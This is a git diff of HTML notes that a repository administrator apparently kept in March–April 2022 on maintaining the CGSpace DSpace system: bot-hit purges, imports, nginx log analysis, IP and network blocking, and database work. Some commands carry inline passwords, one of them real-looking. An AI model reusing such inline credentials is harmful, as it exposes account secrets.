                                                                                                                                                          +Purging 1326 hits from nbertaupete95 in statistics
                                                                                                                                                          +Purging 182 hits from metha\/[0-9] in statistics
                                                                                                                                                          +Purging 68 hits from ZaloPC-win32-24v454 in statistics
                                                                                                                                                          +Purging 1644 hits from Firefox\/x\.x in statistics
                                                                                                                                                          +Purging 678 hits from ZoteroTranslationServer in statistics
                                                                                                                                                          +Purging 27 hits from FullStoryBot in statistics
                                                                                                                                                          +Purging 26 hits from Link Validity Check in statistics
                                                                                                                                                          +Purging 26 hits from OSPScraper in statistics
                                                                                                                                                          +Purging 1 hits from 3137382e37392e3138372e313832 in statistics
                                                                                                                                                          +Purging 2755 hits from Nutch-[0-9] in statistics
                                                                                                                                                          +
                                                                                                                                                          +Total number of bot hits purged: 12914
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project
                                                                                                                                                          • +
                                                                                                                                                          +

                                                                                                                                                          2022-03-05

                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • Start AReS harvest
                                                                                                                                                          • +
                                                                                                                                                          +

                                                                                                                                                          2022-03-10

                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet) +
                                                                                                                                                              +
                                                                                                                                                            • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
                                                                                                                                                          -
                                                                                                                                                          real    334m33.625s
                                                                                                                                                          -user    227m51.331s
                                                                                                                                                          -sys     3m43.037s
                                                                                                                                                          -

                                                                                                                                                          2022-04-04

                                                                                                                                                          +
                                                                                                                                                          or(
                                                                                                                                                          +isNotNull(value.match('707')),
                                                                                                                                                          +isNotNull(value.match('709')),
                                                                                                                                                          +isNotNull(value.match('710')),
                                                                                                                                                          +isNotNull(value.match('711')),
                                                                                                                                                          +isNotNull(value.match('713')),
                                                                                                                                                          +isNotNull(value.match('717')),
                                                                                                                                                          +isNotNull(value.match('718')),
                                                                                                                                                          +...
                                                                                                                                                          +isNotNull(value.match('821'))
                                                                                                                                                          +)
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-10-tac-batch4-701to980.map
                                                                                                                                                          +

                                                                                                                                                          2022-03-12

                                                                                                                                                            +
                                                                                                                                                          • Update all containers and rebuild OpenRXV on linode20:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
                                                                                                                                                          +$ docker-compose build
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • Then run all system updates and reboot
                                                                                                                                                          • Start a full harvest on AReS
                                                                                                                                                          • -
                                                                                                                                                          • Help Marianne with submit/approve access on a new collection on CGSpace
                                                                                                                                                          • -
                                                                                                                                                          • Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc)
                                                                                                                                                          • -
                                                                                                                                                          • Looking at the Solr statistics for 2022-03 on CGSpace +
                                                                                                                                                          +

                                                                                                                                                          2022-03-16

                                                                                                                                                            -
                                                                                                                                                          • I see 54.229.218.204 on Amazon AWS made 49,000 requests, some of which with this user agent: Apache-HttpClient/4.5.9 (Java/1.8.0_322), and many others with a normal browser agent, so that’s fishy!
                                                                                                                                                          • -
                                                                                                                                                          • The DSpace agent pattern http.?agent seems to have caught the first ones, but I’ll purge the IP ones
                                                                                                                                                          • -
                                                                                                                                                          • I see 40.77.167.80 is Bing or MSN Bot, but using a normal browser user agent, and if I search Solr for dns:*msnbot* AND dns:*.msn.com. I see over 100,000, which is a problem I noticed a few months ago too…
                                                                                                                                                          • -
                                                                                                                                                          • I extracted the MSN Bot IPs from Solr using an IP facet, then used the check-spider-ip-hits.sh script to purge them
                                                                                                                                                          • +
                                                                                                                                                          • Meeting with KM/KS group to start talking about the way forward for repositories and web publishing +
                                                                                                                                                              +
                                                                                                                                                            • We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing
                                                                                                                                                          -

                                                                                                                                                          2022-04-10

                                                                                                                                                          +

                                                                                                                                                          2022-03-20

                                                                                                                                                          • Start a full harvest on AReS
                                                                                                                                                          -

                                                                                                                                                          2022-04-13

                                                                                                                                                          +

                                                                                                                                                          2022-03-21

                                                                                                                                                            -
                                                                                                                                                          • UptimeRobot mailed to say that CGSpace was down +
                                                                                                                                                          • Review a few submissions for Open Repositories 2022
                                                                                                                                                          • +
                                                                                                                                                          • Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed
                                                                                                                                                          • +
                                                                                                                                                          +

                                                                                                                                                          2022-03-22

                                                                                                                                                            -
                                                                                                                                                          • I looked and found the load at 44…
                                                                                                                                                          • +
                                                                                                                                                          • I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there +
                                                                                                                                                              +
                                                                                                                                                            • I had been meaning to update my local database…
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                          • +
                                                                                                                                                          • I re-imported the CGIAR CAS documents to DSpace Test and generated the PDF thumbnails:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-22-tac-700.map
                                                                                                                                                          +$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10568/118432
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • On my local environment I decided to run the check-duplicates.py script one more time with all 700 items:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv
                                                                                                                                                          +$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p 'dom@in34sniper' -o /tmp/2022-03-22-tac-duplicates.csv
                                                                                                                                                          +$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv
                                                                                                                                                          +$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • I sent the resulting 76 items to Gaia to check
                                                                                                                                                          • +
                                                                                                                                                          • UptimeRobot said that CGSpace was down +
                                                                                                                                                              +
                                                                                                                                                            • I looked and found many locks belonging to the REST API application:
                                                                                                                                                          • -
                                                                                                                                                          • There seem to be a lot of locks from the XMLUI:
                                                                                                                                                          $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
                                                                                                                                                          -   3173 dspaceWeb
                                                                                                                                                          +    301 dspaceWeb
                                                                                                                                                          +   2390 dspaceApi
                                                                                                                                                           
                                                                                                                                                            -
                                                                                                                                                          • Looking at the top IPs in nginx’s access log one IP in particular stands out:
                                                                                                                                                          • +
                                                                                                                                                          • Looking at nginx’s logs, I found the top addresses making requests today:
                                                                                                                                                          -
                                                                                                                                                              941 66.249.66.222
                                                                                                                                                          -   1224 95.108.213.28
                                                                                                                                                          -   2074 157.90.209.76
                                                                                                                                                          -   3064 66.249.66.221
                                                                                                                                                          -  95743 185.192.69.15
                                                                                                                                                          +
                                                                                                                                                          # awk '{print $1}' /var/log/nginx/rest.log | sort | uniq -c | sort -h
                                                                                                                                                          +   1977 45.5.184.2
                                                                                                                                                          +   3167 70.32.90.172
                                                                                                                                                          +   4754 54.195.118.125
                                                                                                                                                          +   5411 205.186.128.185
                                                                                                                                                          +   6826 137.184.159.211
                                                                                                                                                           
                                                                                                                                                            -
                                                                                                                                                          • 185.192.69.15 is in the UK
                                                                                                                                                          • -
                                                                                                                                                          • I added a block for that IP in nginx and the load went down…
                                                                                                                                                          • +
                                                                                                                                                          • 137.184.159.211 is on DigitalOcean using this user agent: GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28 +
                                                                                                                                                              +
                                                                                                                                                            • I blocked this IP in nginx and the load went down immediately
                                                                                                                                                            -

                                                                                                                                                            2022-04-16

                                                                                                                                                            +
                                                                                                                                                          • +
                                                                                                                                                          • 205.186.128.185 is on Media Temple, but it’s OK because it’s the CCAFS publications importer bot
                                                                                                                                                          • +
                                                                                                                                                          • 54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)
                                                                                                                                                          • +
                                                                                                                                                          • 70.32.90.172 is on Media Temple and has no user agent
                                                                                                                                                          • +
                                                                                                                                                          • What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent
                                                                                                                                                              -
                                                                                                                                                            • Start harvest on AReS
                                                                                                                                                            • -
                                                                                                                                                            -

                                                                                                                                                            2022-04-18

                                                                                                                                                            -
                                                                                                                                                              -
                                                                                                                                                            • I woke up to several notices from UptimeRobot that CGSpace had gone down and up in the night (of course I’m on holiday out of the country for Easter) -
                                                                                                                                                                -
                                                                                                                                                              • I see there are many locks in use from the XMLUI:
                                                                                                                                                              • +
                                                                                                                                                              • I verified it works as expected with an empty user agent:
                                                                                                                                                            -
                                                                                                                                                            $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
                                                                                                                                                            -   8932 dspaceWeb
                                                                                                                                                            +
                                                                                                                                                            $ curl -H User-Agent:'' 'https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all' 
                                                                                                                                                            +Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word 'bot', if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
                                                                                                                                                             
                                                                                                                                                              -
                                                                                                                                                            • Looking at the top IPs making requests it seems they are Yandex, bingbot, and Googlebot:
                                                                                                                                                            • +
                                                                                                                                                            • I note that the nginx log shows ‘-’ for a request with an empty user agent, which would be indistinguishable from a request with a ‘-’, for example these were successful:
                                                                                                                                                            -
                                                                                                                                                            # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                            -    752 69.162.124.231
                                                                                                                                                            -    759 66.249.64.213
                                                                                                                                                            -    864 66.249.66.222
                                                                                                                                                            -    905 2a01:4f8:221:f::2
                                                                                                                                                            -   1013 84.33.2.97
                                                                                                                                                            -   1201 157.55.39.159
                                                                                                                                                            -   1204 157.55.39.144
                                                                                                                                                            -   1209 157.55.39.102
                                                                                                                                                            -   1217 157.55.39.161
                                                                                                                                                            -   1252 207.46.13.177
                                                                                                                                                            -   1274 157.55.39.162
                                                                                                                                                            -   2553 66.249.66.221
                                                                                                                                                            -   2941 95.108.213.28
                                                                                                                                                            +
                                                                                                                                                            70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] "GET /rest/handle/10568/34374?expand=all HTTP/1.0" 200 10671 "-" "-"
                                                                                                                                                            +70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] "GET /rest/handle/10568/34795?expand=all HTTP/1.0" 200 11394 "-" "-"
                                                                                                                                                             
                                                                                                                                                              -
                                                                                                                                                            • One IP is using a stange user agent though:
                                                                                                                                                            • +
                                                                                                                                                            • I can only assume that these requests used a literal ‘-’ so I will have to add an nginx rule to block those too
                                                                                                                                                            • +
                                                                                                                                                            • Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester… I should ask Macaroni Bros about that
                                                                                                                                                            -
                                                                                                                                                            84.33.2.97 - - [18/Apr/2022:00:20:38 +0200] "GET /bitstream/handle/10568/109581/Banana_Blomme%20_2020.pdf.jpg HTTP/1.1" 404 10890 "-" "SomeRandomText"
                                                                                                                                                            -
                                                                                                                                                              -
                                                                                                                                                            • Overall, it seems we had 17,000 unique IPs connecting in the last nine hours (currently 9:14AM and log file rolled over at 00:00):
                                                                                                                                                            • -
                                                                                                                                                            -
                                                                                                                                                            # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
                                                                                                                                                            -17314
                                                                                                                                                            -
                                                                                                                                                              -
                                                                                                                                                            • That’s a lot of unique IPs, and I see some patterns of IPs in China making ten to twenty requests each +

                                                                                                                                                              2022-03-24

                                                                                                                                                                -
                                                                                                                                                              • The ISPs I’ve seen so far are ChinaNet and China Unicom
                                                                                                                                                              • +
                                                                                                                                                              • Maria from ABC asked about a reporting discrepancy on AReS +
                                                                                                                                                                  +
                                                                                                                                                                • I think it’s because the last harvest was over the weekend, and she was expecting to see items submitted this week
                                                                                                                                                              • -
                                                                                                                                                              • I extracted all the IPs from today and resolved them:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq > /tmp/2022-04-18-ips.txt
                                                                                                                                                              -$ ./ilri/resolve-addresses-geoip2.py -i /tmp/2022-04-18-ips.txt -o /tmp/2022-04-18-ips.csv
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • The top ASNs by IP are:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ csvcut -c 2 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10 
                                                                                                                                                              -    102 GOOGLE
                                                                                                                                                              -    139 Maxihost LTDA
                                                                                                                                                              -    165 AMAZON-02
                                                                                                                                                              -    393 "China Mobile Communications Group Co., Ltd."
                                                                                                                                                              -    473 AMAZON-AES
                                                                                                                                                              -    616 China Mobile communications corporation
                                                                                                                                                              -    642 M247 Ltd
                                                                                                                                                              -   2336 HostRoyale Technologies Pvt Ltd
                                                                                                                                                              -   4556 Chinanet
                                                                                                                                                              -   5527 CHINA UNICOM China169 Backbone
                                                                                                                                                              -$ csvcut -c 4 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
                                                                                                                                                              -    139 262287
                                                                                                                                                              -    165 16509
                                                                                                                                                              -    180 204287
                                                                                                                                                              -    393 9808
                                                                                                                                                              -    473 14618
                                                                                                                                                              -    615 56041
                                                                                                                                                              -    642 9009
                                                                                                                                                              -   2156 203020
                                                                                                                                                              -   4556 4134
                                                                                                                                                              -   5527 4837
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I spot checked a few IPs from each of these and they are definitely just making bullshit requests to Discovery and HTML sitemap etc
                                                                                                                                                              • -
                                                                                                                                                              • I will download the IP blocks for each ASN except Google and Amazon and ban them
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ wget https://asn.ipinfo.app/api/text/nginx/AS4837 https://asn.ipinfo.app/api/text/nginx/AS4134 https://asn.ipinfo.app/api/text/nginx/AS203020 https://asn.ipinfo.app/api/text/nginx/AS9009 https://asn.ipinfo.app/api/text/nginx/AS56041 https://asn.ipinfo.app/api/text/nginx/AS9808
                                                                                                                                                              -$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | sort | uniq | wc -l
                                                                                                                                                              -20296
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I extracted the IPv4 and IPv6 networks:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep ":" | sort > /tmp/ipv6-networks.txt
                                                                                                                                                              -$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep -v ":" | sort > /tmp/ipv4-networks.txt
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I suspect we need to aggregate these networks since they are so many and nftables doesn’t like it when they overlap:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ wc -l /tmp/ipv4-networks.txt
                                                                                                                                                              -15464 /tmp/ipv4-networks.txt
                                                                                                                                                              -$ aggregate6 /tmp/ipv4-networks.txt | wc -l
                                                                                                                                                              -2781
                                                                                                                                                              -$ wc -l /tmp/ipv6-networks.txt             
                                                                                                                                                              -4833 /tmp/ipv6-networks.txt
                                                                                                                                                              -$ aggregate6 /tmp/ipv6-networks.txt | wc -l
                                                                                                                                                              -338
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I deployed these lists on CGSpace, ran all updates, and rebooted the server +
                                                                                                                                                              • Paola from ABC said they are decomissioning the server where many of their library PDFs are hosted
                                                                                                                                                                  -
                                                                                                                                                                • This list is SURELY too broad because we will block legitimate users in China… but right now how can I discern?
                                                                                                                                                                • -
                                                                                                                                                                • Also, I need to purge the hits from these 14,000 IPs in Solr when I get time
                                                                                                                                                                • +
                                                                                                                                                                • She asked if we can download them and upload them directly to CGSpace
                                                                                                                                                              • -
                                                                                                                                                              • Looking back at the Munin graphs a few hours later I see this was indeed some kind of spike that was out of the ordinary:
                                                                                                                                                              • -
                                                                                                                                                              -

                                                                                                                                                              PostgreSQL connections day -DSpace sessions day

                                                                                                                                                              +
                                                                                                                                                            • I re-created my local Artifactory container
                                                                                                                                                            • +
                                                                                                                                                            • I am doing a walkthrough of DSpace 7.3-SNAPSHOT to see how things are lately
                                                                                                                                                                -
                                                                                                                                                              • I used grepcidr with the aggregated network lists to extract IPs matching those networks from the nginx logs for the past day:
                                                                                                                                                              • +
                                                                                                                                                              • One thing I realized is that OAI is no longer a standalone web application, it is part of the server app now: http://localhost:8080/server/oai/request?verb=Identify
                                                                                                                                                              -
                                                                                                                                                              # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort -u > /tmp/ips.log
                                                                                                                                                              -# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv4-ips.txt; done < /tmp/ipv4-networks-aggregated.txt
                                                                                                                                                              -# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv6-ips.txt; done < /tmp/ipv6-networks-aggregated.txt
                                                                                                                                                              -# wc -l /tmp/ipv4-ips.txt  
                                                                                                                                                              -15313 /tmp/ipv4-ips.txt
                                                                                                                                                              -# wc -l /tmp/ipv6-ips.txt 
                                                                                                                                                              -19 /tmp/ipv6-ips.txt
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • Then I purged them from Solr using the check-spider-ip-hits.sh:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ ./ilri/check-spider-ip-hits.sh -f /tmp/ipv4-ips.txt -p
                                                                                                                                                              -

                                                                                                                                                              2022-04-23

                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • Deploy PostgreSQL 12 on CGSpace (linode18) but don’t switch over yet, because I see some users active
                                                                                                                                                                -
                                                                                                                                                              • A handful of spider user agents that I identified were merged into COUNTER-Robots so I updated the ILRI override in our DSpace and regenerated the example file that contains most patterns -
                                                                                                                                                                  -
                                                                                                                                                                • I updated CGSpace, then ran all system updates and rebooted the host
                                                                                                                                                                • -
                                                                                                                                                                • I also ran dspace cleanup -v to prune the database
                                                                                                                                                                • +
                                                                                                                                                                • I did this on DSpace Test in 2022-02 so I just followed the same procedure
                                                                                                                                                                • +
                                                                                                                                                                • After that I ran all system updates and rebooted the server
                                                                                                                                                              -

                                                                                                                                                              2022-04-24

                                                                                                                                                              +

                                                                                                                                                              2022-03-25

                                                                                                                                                                +
                                                                                                                                                              • Looking at the PostgreSQL database size on CGSpace after the update yesterday:
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              PostgreSQL database size day

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • The space saving in indexes of recent PostgreSQL releases is awesome!
                                                                                                                                                              • +
                                                                                                                                                              • Import a DSpace 6.x database dump from production into my local DSpace 7 database +
                                                                                                                                                                  +
                                                                                                                                                                • I see I still the same errors I saw in 2021-04 when testing DSpace 7.0 beta 5
                                                                                                                                                                • +
                                                                                                                                                                • I had to delete some old migrations, as well as all Atmire ones first:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              localhost/dspace7= ☘ DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');
                                                                                                                                                              +localhost/dspace7= ☘ DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%'
                                                                                                                                                              +
                                                                                                                                                              -

                                                                                                                                                              2022-04-25

                                                                                                                                                              +

                                                                                                                                                              2022-03-26

                                                                                                                                                                -
                                                                                                                                                              • Looking at the countries on AReS I decided to collect a list to remind Jacquie at WorldFish again about how many incorrect ones they have +
                                                                                                                                                              • Update dspace-statistics-api to Falcon 3.1.0 and release v1.4.3
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-03-28

                                                                                                                                                                -
                                                                                                                                                              • There are about sixty incorrect ones, some of which I can correct via the value mappings on AReS, but most I can’t
                                                                                                                                                              • -
                                                                                                                                                              • I set up value mappings for seventeen countries, then sent another sixty or so to Jacquie and Salem to hopefully delete
                                                                                                                                                              • +
                                                                                                                                                              • Create another test account for Rafael from Bioversity-CIAT to submit some items to DSpace Test:
                                                                                                                                                              -
                                                                                                                                                            • -
                                                                                                                                                            • I notice we have over 1,000 items with region Africa South of Sahara -
                                                                                                                                                                -
                                                                                                                                                              • I am surprised to see these because we did a mass migration to Sub-Saharan Africa in 2020-10 when we aligned to UN M.49
                                                                                                                                                              • -
                                                                                                                                                              • Oh! It seems I used a capital O in Of!
                                                                                                                                                              • -
                                                                                                                                                              • This is curious, I see we missed East Asia and Northern America, because those are still in our list, but UN M.49 uses Eastern Asia and Northern America… I will have to raise that with Peter and Abenet later
                                                                                                                                                              • -
                                                                                                                                                              • For now I will just re-run my fixes:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                            • -
                                                                                                                                                            -
                                                                                                                                                            $ cat /tmp/regions.csv
                                                                                                                                                            -cg.coverage.region,correct
                                                                                                                                                            -East Africa,Eastern Africa
                                                                                                                                                            -West Africa,Western Africa
                                                                                                                                                            -Southeast Asia,South-eastern Asia
                                                                                                                                                            -South Asia,Southern Asia
                                                                                                                                                            -Africa South of Sahara,Sub-Saharan Africa
                                                                                                                                                            -North Africa,Northern Africa
                                                                                                                                                            -West Asia,Western Asia
                                                                                                                                                            -$ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 227 -t correct
                                                                                                                                                            +
                                                                                                                                                            $ dspace user -a -m tip-submit@cgiar.org -g CIAT -s Submit -p 'fuuuuuuuu'
                                                                                                                                                             
                                                                                                                                                              -
                                                                                                                                                            • Then I started a new harvest on AReS
                                                                                                                                                            • +
                                                                                                                                                            • I added the account to the Alliance Admins account, which is should allow him to submit to any Alliance collection +
                                                                                                                                                                +
                                                                                                                                                              • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • Abenet and I noticed 1,735 items in CTA’s community that have the title “delete” +
                                                                                                                                                                +
                                                                                                                                                              • We asked Peter and he said we should delete them
                                                                                                                                                              • +
                                                                                                                                                              • I exported the CTA community metadata and used OpenRefine to filter all items with the “delete” title, then used the “expunge” bulkedit action to remove them
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • I realized I forgot to clean up the old Let’s Encrypt certbot stuff after upgrading CGSpace (linode18) to Ubuntu 20.04 a few weeks ago +
                                                                                                                                                                +
                                                                                                                                                              • I also removed the pre-Ubuntu 20.04 Let’s Encrypt stuff from the Ansble infrastructure playbooks
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +

                                                                                                                                                            2022-03-29

                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Gaia sent me her notes on the final review of duplicates of all TAC/ICW documents +
                                                                                                                                                                +
                                                                                                                                                              • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            or(
                                                                                                                                                            +isNotNull(value.match('33')),
                                                                                                                                                            +isNotNull(value.match('179')),
                                                                                                                                                            +isNotNull(value.match('452')),
                                                                                                                                                            +isNotNull(value.match('489')),
                                                                                                                                                            +isNotNull(value.match('541')),
                                                                                                                                                            +isNotNull(value.match('568')),
                                                                                                                                                            +isNotNull(value.match('646')),
                                                                                                                                                            +isNotNull(value.match('889'))
                                                                                                                                                            +)
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported the 692 items on CGSpace, and generated the thumbnails:
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            $ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
                                                                                                                                                            +$ dspace import --add --eperson=umm@fuuu.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-29-cgiar-tac.map
                                                                                                                                                            +$ chrt -b 0 dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10947/50
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • After that I did some normalization on the cg.subject.system metadata and extracted a few dozen countries to the country field
                                                                                                                                                            • +
                                                                                                                                                            • Start a harvest on AReS
                                                                                                                                                            • +
                                                                                                                                                            +

                                                                                                                                                            2022-03-30

                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Yesterday Rafael from CIAT asked me to re-create his approver account on DSpace Test as well
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            $ dspace user -a -m tip-approve@cgiar.org -g Rafael -s Rodriguez -p 'fuuuu'
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • I started looking into the request regarding the CIAT Library PDFs +
                                                                                                                                                                +
                                                                                                                                                              • There are over 4,000 links to PDFs hosted on that server in CGSpace metadata
                                                                                                                                                              • +
                                                                                                                                                              • The links seem to be down though! I emailed Paola to ask
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +

                                                                                                                                                            2022-03-31

                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Switch DSpace Test (linode26) back to CMS GC so I can do some monitoring and evaluation of GC before switching to G1GC
                                                                                                                                                            • +
                                                                                                                                                            • I will do the following for CMS and G1GC on DSpace Test: +
                                                                                                                                                                +
                                                                                                                                                              • Wait for startup
                                                                                                                                                              • +
                                                                                                                                                              • Reload home page
                                                                                                                                                              • +
                                                                                                                                                              • Log in
                                                                                                                                                              • +
                                                                                                                                                              • Do a search for “livestock”
                                                                                                                                                              • +
                                                                                                                                                              • Click AGROVOC facet for livestock
                                                                                                                                                              • +
                                                                                                                                                              • dspace index-discovery -b
                                                                                                                                                              • +
                                                                                                                                                              • dspace-statistics-api index
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • With CMS the Discovery Index took:
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            real    379m19.245s
                                                                                                                                                            +user    267m17.704s
                                                                                                                                                            +sys     4m2.937s
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Leroy from CIAT said that the CIAT Library server has security issues so was limited to internal traffic +
                                                                                                                                                                +
                                                                                                                                                              • I extracted a list of URLs from CGSpace to send him:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(text_value) FROM metadatavalue WHERE metadata_field_id=219 AND text_value ~ 'https?://ciat-library') to /tmp/2022-03-31-ciat-library-urls.csv WITH CSV HEADER;
                                                                                                                                                            +COPY 4552
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • I did some checks and cleanups in OpenRefine because there are some values with “#page” etc +
                                                                                                                                                                +
                                                                                                                                                              • Once I sorted them there were only ~2,700, which means there are going to be almost two thousand items with duplicate PDFs
                                                                                                                                                              • +
                                                                                                                                                              • I suggested that we might want to handle those cases specially and extract the chapters or whatever page range since they are probably books
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            - @@ -344,9 +476,9 @@
                                                                                                                                                              -
                                                                                                                                                            1. March, 2022
                                                                                                                                                            2. +
                                                                                                                                                            3. April, 2022
                                                                                                                                                            4. -
                                                                                                                                                            5. April, 2022
                                                                                                                                                            6. +
                                                                                                                                                            7. March, 2022
                                                                                                                                                            8. February, 2022
                                                                                                                                                            9. diff --git a/docs/2022-04/index.html b/docs/2022-04/index.html new file mode 100644 index 000000000..b8fe71cc9 --- /dev/null +++ b/docs/2022-04/index.html @@ -0,0 +1,529 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
                                                                                                                                                              +
                                                                                                                                                              + +
                                                                                                                                                              +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              +

